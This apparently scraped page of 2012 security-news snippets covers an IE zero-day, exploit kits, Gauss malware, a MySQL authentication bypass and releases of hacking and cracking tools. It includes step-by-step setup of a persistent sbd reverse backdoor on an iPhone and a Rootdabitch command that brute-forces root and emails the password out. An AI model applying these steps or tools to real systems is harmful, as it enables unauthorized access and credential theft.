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Microsoft has confirmed reports that a zero-day vulnerability in its Internet Explorer browser is being actively attacked in the wild. Four active exploits of a zero-day vulnerability in the browser exists. Microsoft will push out an out-of-cycle Windows patch to temporarily fix the critical Internet Explorer flaw. Security researcher Eric Romang identified the exploit code on a server used by the "Nitro" hacking group, believed to have exploited the Java zero-day vulnerability reported last month.  Security firm Rapid7 advises that Internet users try a different Web browser. The malware may be linked to an ongoing attack on companies that has been dubbed "Nitro", and was first discovered in October by Symantec. The zero-day in IE 6-9 is a use-after-free memory corruption vulnerability , similar to a buffer overflow, that would enable an attacker to remotely execute code on a compromised machine. The original exploit payload dropped the PoisonIvy remote access Trojan (R...

According to release announcement on Pastebin by unknown developers in a Russian-language BlackHole Exploit Kit 2.0 released with more latest Exploits. BlackHole is one of the most dominant exploit toolkits currently available in the underground market. It enables attackers to exploit security holes in order to install malicious software on victim's systems. The new variant doesn't rely on plugindetect to determine the Java version that's installed, thus speeding up the malware download process. Old exploits that were causing browsers to crash and "scary visual effects" have been removed. The exploit kit is offered both as a "licensed" software product for the intrepid malware server operator and as malware-as-a-service by the author off his own server. Some interesting claims by developer about new version: prevent direct download of executable payloads only load exploit contents when client is considered vulnerable drop use of PluginDetect library (performanc...

Iranian National Computer Emergency Response Team releases a tool for Gauss malware detection . Cyber surveillance virus has been found in the Middle East that can spy on banking transactions and steal login and passwords, according Kaspersky Lab, a leading computer security firm. Gauss primarily infects 32-bit versions of Windows, though a separate spy module for USB drives can collect information from 64-bit systems. Infections are mainly split between Windows 7 and Windows XP, although some of the Gauss modules don't work against Windows 7 Service Pack 1. Mac and Linux machines appear to be safe. Multiple modules of Gauss serve the purpose of collecting information from browsers, which include the history of visited websites and passwords. Detailed data on the infected machine is also sent to the attackers, including specifics of network interfaces, the computer's drives and BIOS information. The Gauss module is also capable of stealing data from the clients of several Leb...

The latest version of Backtrack is out! Check out Backtrack 5 R3! " The time has come to refresh our security tool arsenal – BackTrack 5 R3 has been released. R3 focuses on bug-fixes as well as the addition of over 60 new tools – several of which were released in BlackHat and Defcon 2012. A whole new tool category was populated – "Physical Exploitation", which now includes tools such as the Arduino IDE and libraries, as well as the Kautilya Teensy payload collection. " Backtrack Team have released a single VMware Image (Gnome, 32 bit), for those requiring other VM flavors of BackTrack. Download BackTrack 5 R3

zAnti Pentester's Worldcup tournament open for Hackers Today is a great day to be a security enthusiastic since Zimperium kicked off the first ever penetration testing tournament. — Welcome to the Pentester's Worldcup ! Zimperium , a mobile security software start-up was founded by Itzhak " Zuk " Avraham, a world-renowned white-hat hacker, in 2011. The Pentester's World Cup is part of Zimperium's efforts to increase awareness about mobile security, and simultaneously enhance the security of its range of award-winning products. You may recall Anti, The first comprehensive Penetration Testing software offered on Smartphones, Zimperium created a killer mobile app that is so simple to use, any technical person is able to perform pentest on his network to get status of which devices that are attached to the network are vulnerable, what ports are opened and additional information that is a must have for anyone who cares about the safety on his network. Last year at DEFCON, Avraham, also ...

CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability A serious security bug in MariaDB and MySQL Disclosed, According to Advisory All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. This issue got assigned an id CVE-2012-2122. " When a user connects to MariaDB/MySQL, a token (SHAover a password and a random scramble string) is calculated and comparedwith the expected value. Because of incorrect casting, it might'vehappened that the token and the expected value were considered equal,even if the memcmp() returned a non-zero value. In this caseMySQL/MariaDB would think that the password is correct, even while it isnot. Because the protocol uses random strings, the probability ofhitting this bug is about 1/256 ." " Which means, if one knows a user name to connect (and "root" almostalways exists), she can connect using *any* password by repeatingconnection attempts. ~300 attempts takes only a fraction of second, s...

Orion Browser Dumper v1.0 released Jean-Pierre LESUEUR (DarkCoderSc) releases another Browser Forensic tool for Community called " Orion Browser Dumper v1.0 ".  This software is an advanced local browser history extractor (dumper), in less than few seconds (like for Browser Forensic Tool) it will extract the whole history content of most famous web browser, Actually Internet Explorer, Mozilla FireFox, Google Chrome, COMODO Dragon, Rockmelt and Opera. You can download the tool from Official Website of DarkCommet . Video Demonstration: Last week he also release " Browser Forensic Tool v2.0 " - Its is also an advanced local browser history search engine, in less than few seconds it will extract the chosen keywords of most famous web browser, actually Internet Explorer, Google Chrome, Mozilla FireFox, RockMelt, Comodo Dragon and Opera.

Browser Forensic Tool v2.0 - Advanced browser history search engine Browser Forensic Tool v2.0  , Developed by DarkCoderSc (Jean-Pierre LESUEUR) ,is an advanced local browser history search engine, in less than few seconds it will extract the chosen keywords of most famous web browser, actually Internet Explorer, Google Chrome, Mozilla FireFox, RockMelt, Comodo Dragon and Opera. BFT will attempt to find the keyword(s) in the history title and search, if the keyword is present or suspected to be, it will be display in the result list with his URL and Title. The software also give you the possibility to edit the default keywords and of course add / modify your own keywords, to separate keywords subject you can create your own keywords categories and only scan for some keywords in the chosen category . The program is fully asynchronous so it won't affect your work during the scan time nor it will block the customization of keywords and keylist and can be canceled at anytim...

Skype Vulnerability Exposing User IP Addresses Skype is warning users following the launch of a site devoted to harvesting user IP addresses.The Skype IP-Finder site allowed third-parties to see a user's last known IP address by simply typing in a user name. A script has been uploaded to Github that offers these options. According to the page, it can be used to lookup IP addresses of online Skype accounts, and return both the remote and the local IP of that account on a website. The script is for instance available on this site . Just enter the user name of a Skype user, fill out the captcha, and click the search button to initiate the lookup. You will receive the user's remote IP and port, as well as the local IP and port. Adrian Asher, director of product Security, Skype " We are investigating reports of a new tool that captures a Skype user's last known IP address. This is an ongoing, industry-wide issue faced by all peer-to-peer software companies. We are committed to the...

oclHashcat-plus v0.08 Released - fastest password Cracker oclHashcat-plus is Worlds first and only GPGPU based rule engine and Worlds fastest md5crypt, phpass, mscash2 and WPA / WPA2 cracker. Features Free Multi-GPU (up to 16 gpus) Multi-Hash (up to 24 million hashes) Multi-OS (Linux & Windows native binaries) Multi-Platform (OpenCL & CUDA support) Multi-Algo (see below) Low resource utilization, you can still watch movies or play games while cracking Focuses highly iterated, modern hashes Focuses single dictionary based attacks Supports pause / resume while cracking Supports reading words from file Supports reading words from stdin Integrated thermal watchdog 20+ Algorithms implemented with performance in mind ... and much more Algorithms MD5 Joomla osCommerce, xt:Commerce SHA1 SHA-1(Base64), nsldap, Netscape LDAP SHA SSHA-1(Base64), nsldaps, Netscape LDAP SSHA Oracle 11g SMF > v1.1 OSX v10.4, v10.5, v10.6 MSSQL(2000) MSSQL(2005) MySQL ...

WebSploit Is An Open Source Project For Scan And Analysis Remote System From Vulnerability Description : [+]Autopwn - Used From Metasploit For Scan and Exploit Target Service [+]wmap - Scan,Crawler Target Used From Metasploit wmap plugin [+]format infector - inject reverse & bind payload into file format [+]phpmyadmin - Search Target phpmyadmin login page [+]lfi - Scan,Bypass local file inclusion Vulnerability & can be bypass some WAF [+]apache users - search server username directory (if use from apache webserver) [+]Dir Bruter - brute target directory with wordlist [+]admin finder - search admin & login page of target [+]MLITM Attack - Man Left In The Middle, XSS Phishing Attacks [+]MITM - Man In The Middle Attack [+]Java Applet Attack - Java Signed Applet Attack [+]MFOD Attack Vector - Middle Finger Of Doom Attack Vector [+]USB Infection Attack - Create Executable Backdoor For Infect USB For Windows Download WebSploit Toolkit V.1.6

Security Expert from Coresec explains the use of a Permanent Reverse TCP Backdoor " sbd-1.36 " for IPhone and IPad developed by Michel Blomgren. sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-128-CBC + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. Only TCP/IP communication is supported. Steps to pwn the Iphone: 1. Install packages iphone-gcc using " apt-get install iphone-gcc " & make " apt-get install make " 2. Download sbd backdoor to the device using Wget from here  & Untar - " tar -zxvf sbd-1.36.tar.gz " 3.) Sbd configuration before the compilation, See details here . 4.) Compilation process - " make darwin " 5. Configuration to RunAtLoad using LaunchDaemons (for permanent access) 6. Gaining acces...

The BackBox team has announce the release 2.05 of BackBox Linux. The new release include features such as Ubuntu 11.04, Linux Kernel 2.6.38 and Xfce 4.8.0. BackBox is a Linux distribution based on Ubuntu. It has been developed to perform penetration tests and security assessments. Designed to be fast, easy to use and provide a minimal yet complete desktop environment, thanks to its own software repositories, always being updated to the latest stable version of the most used and best known ethical hacking tools. What's new System upgrade Bug corrections Performance boost Improved start menu Improved WiFi driver (compat-wireless aircrack patched) New Hacking tools: creepy, fern-wifi-cracker, joomscan, pyrit, reaver, xplico, etc. Updated tools: crunch, fimap, hydra, magictree, metasploit, set, sipvicious, skipfish, w3af, weevely, wireshark, wirouterkeyrec, wpscan, zaproxy, theharvester, xsser, etc. Download Backbox 2.05

Plown : Security scanner for Plone CMS Despite the fact that Plone is one of the most secure CMS, even the most secure system can be penetrated due to misconfigurations, use of weak passwords and if the admins never apply the patches released. Plown has been developed during penetration tests on Plone sites and was used to ease the discovery of usernames and passwords, plus expose known Plone vulnerabilities that might exist on a system. What Plown does Username enumeration Multithreading password cracking.You can specify the login url (if different that login_form) and the number of threads (16 default) Known vulnerability enumeration, based on urls/objects exposed. If found vulnerable, the tool informs about the vulnerability and the url of the patch Version enumeration is planned, based on md5 hashes of static content (css, js) We hope that plown can act as an assistant to system administrators to strengthen their Plone sites. Download Code (written on python)  or visi...

zDefender - Enterprise smartphone IDS/IPS released by Zimperium Do you recall the security firm Zimperium which came out with ANTI , the killer Android app that allowed even the clueless to hack and pwn like a pentester? Zimperium, an Israeli security start up founded by Zuk Avraham, a world-renowned hacker and security researcher, has debuted its latest product, the zDefender at DEMO in Santa Clara, California. Called zDefender , this product can detect malicious attacks and take proactive measures to reduce threats via automatic preventive traffic filters and a remote management console. With the onslaught of mobile malware, everyone should have antivirus up and running immediately after purchasing a smartphone. You'd think you were protected from various attacks like man in the middle (MITM) attacks ? At DEMO Spring 2012 , Zuk planted 2 Routers, providing 3 Access points, which have claimed about 3,000 mobile device victims so far. zDefender is able to do this by us...

winAUTOPWN v3.0 Released - System vulnerability exploitation Framework The improved GUI extension - WINAUTOPWN ACTIVE SYSTEMS TRANSGRESSOR GUI [ C4 - WAST ] is a Systems and Network Exploitation Framework built on the famous winAUTOPWN as a backend.  C4 - WAST gives users the freedom to select individual exploits and use them. BSDAUTOPWN has been compiled, like always for various flavours and has been upgraded to version 1.8 alongwith all applicable exploits which have been added in this release. Included this time is the bsd_install.sh, which will set chmod on all applicable BSD compiled binaries. WINAUTOPWN requires PERL,PHP,PYTHON,RUBY and its dependencies alongwith a few others' too for smooth working of exploits included in it. winAUTOPWN and bsdAUTOPWN are available at https://winautopwn.co.nr

Rootdabitch version 0.1 - Multithreaded Linux root password Bruteforcer r00tw0rm hacker " th3breacher! "  release   Rootdabitch v0.1  ,which is a Multithreaded Linux/UNIX tool to brute-force cracking local root through su using sucrack. sucrack is a multithreaded Linux/UNIX tool for brute-force cracking local user accounts via su. The main feature of the Rootdabitch is that It's local brute forcer, using 10 passwords in 3 seconds. and works in background so you can leave it , when root is cracked it will email the user using /bin/mail . All for this, you need to have a php shell/reverse shell/ssh access to the target to run thistool and run it as a normal user, Upload this script into it and give it the execution permission and execute the script like:  ~ ./rootdabitch youremail@address.com If the password is cracked you will have a mail with the root password and the password will be stored into password.txt . Try it ! Download Rootdabitch 0.1

Forensic FOCA - Power of Metadata in digital forensics Most of the e ort in today's digital forensics community lies in the retrieval and analysis of existing information from computing systems.  Metadata is data about data. Metadata plays a number of important roles in computer forensics. It can provide corroborating information about the document data itself. It can reveal information that someone tried to hide, delete, or obscure. It can be used to automatically correlate documents from different sources. More simply, electronic information about a file but not seen on a printed copy of the file. It is embedded and provides additional information, including when and by whom it was created, accessed, or modified. Informatica64  release Forensic FOCA (Fingerprinting Organizations with Collected Archives) , tool for forensic analysts focused on the use of metadata files to generate a forensic case. Several other metadata extraction tools exist but FOCA is co...

This month Microsoft released a total of six new security bulletins, but one in particular deals with a zero-day vulnerability impacting virtually every Microsoft user, which is already being exploited in the wild. Four of the six security bulletins are rated as Critical by Microsoft, with the remaining two ranked as Important. The Critical security bulletins include a fix for Windows and the .NET framework, as well as the perennial favorite the cumulative update for Internet Explorer. The biggest deal, though, is MS12-027, which addresses a critical flaw in Windows Common Controls. One of the fixes is gaining the most attention though, even from Microsoft. " We list MS12-027 as our highest priority security update to deploy this month because we are aware of very limited, targeted attacks taking advantage of the CVE-2012-0158 vulnerability using specially crafted Office documents as an exploit vector ," said the firm in an apparently hastily written blog post. ...

Extreme GPU Bruteforcer - Crack passwords with 450 Million passwords/Sec Speed Extreme GPU Bruteforcer , developed by InsidePro is a program meant for the recovery of passwords from hashes of different types, utilizing the power of GPU which enables reaching truly extreme attack speed of approx 450 Millions passwords/Second . The software supports hashes of the following types: MySQL, DES, MD4, MD5, MD5(Unix), MD5(phpBB3), MD5(Wordpress), NTLM, Domain Cached Credentials, SHA-1, SHA-256, SHA-384, SHA-512 and many others. The software implements several unique attacks, including mask and hybrid dictionary attacks, which allow recovering even the strongest passwords incredibly fast. Utilizing the power of multiple graphics cards running simultaneously (supports up to 32 GPU), the software allows reaching incredible search speeds of billions of passwords per second! Type hashes average speed (Using NVIDIA GTS250): MD5 420 000 000 n / a MySQL 1.08 billion n / a MD4 605 000 000 n / ...